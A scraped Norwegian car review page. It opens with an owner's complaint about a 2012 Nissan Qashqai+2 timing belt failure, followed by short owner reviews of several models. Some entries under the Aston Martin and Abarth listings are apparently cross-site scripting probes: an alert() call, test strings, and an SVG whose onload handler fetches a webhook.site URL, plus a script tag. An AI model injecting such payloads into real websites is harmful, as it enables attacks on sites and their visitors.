2012 Nissan Qashqai+2 1,5 dCi DPF Tekna Flerbruksbil Diesel
Vurdert av BB12
Registerreim som ryker før 120 000km og leverandør og forhandler som ikke tar ansvar.<br />
Denne ene reparasjonen kostet meg over 80 000 kroner. DÅRLIG KVALITET.
Flere vurderinger fra samme modell
Nissan Qashqai+2 (2013)
Denne skal slites ned. Skal ikke byttes. Helt perfekt. Den beste bilen jeg har og har hatt. Manuell.
Nissan Qashqai+2 (2013)
Elsker denne bilen. Den andre qashqai en jeg har. Rustfri i alle år. Bra comfort. Aldri noen feil.
Nissan Qashqai+2 (2013)
Meget bra bil, ser ikke så veldig gæren ut heller. Har den i matte svart
Nissan Qashqai+2 (2013)
Lettkjørt og driftsikkker bil som er billig å eie.
Nissan Qashqai+2 (2012)
På snittet i kvalitet. Svært rimelig å eie og bruke. OK design. Både Nissan, Mazda og Honda har noe hjulstøy. - Kjøp gode og støysvake dekk til den. Slike Nissan'er har kort fjæringsvei om d
Nissan Qashqai+2 (2011)
Ok som 7- seter med små barn, men de bakre setene er små og bagasjeplassen liten. Som 5- seter med de bakre setene slått ned, er det god plass.
Nissan Qashqai+2 (2011)
Meget fornøyd, ble kjøpt for å få plass til barnevogn og har blitt helt Nissan-frelst.
Nissan Qashqai+2 (2010)
Bilen er grei, det er ein liten SUV, ein del plastikk og den merkes at den ikkje i ein klasse som Audi A8 for å sei det mildt, men dette reflekteres i prisen. Bose høgtalere, glas tak og Bluetooth e
Nissan Qashqai+2 (2009)
Er egentlig veldig glad i bilen, men nå må jeg enten hive den eller ut med rundt 40000 for å fikse all rust under. Skal - skal ikke?
Nissan Qashqai+2 (2009)
Alt i alt en driftsikker bil. Har hatt min i tre år uten store problem. Sluker alt av bagasje, og det går faktisk ann å ta med to venner ekstra. OBS! Tilhengervekt: 1400 kg!
Flere vurderinger
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
BMW 3-Serie (2012)
Hadde det vært et punkt som het eierglede så hadde jeg glatt gitt 10 av 10!! Bilen er vakker og tvers igjennom godt bygget! Nydelig å kjøre og det meste bærer preg av å være bygget med gode mat
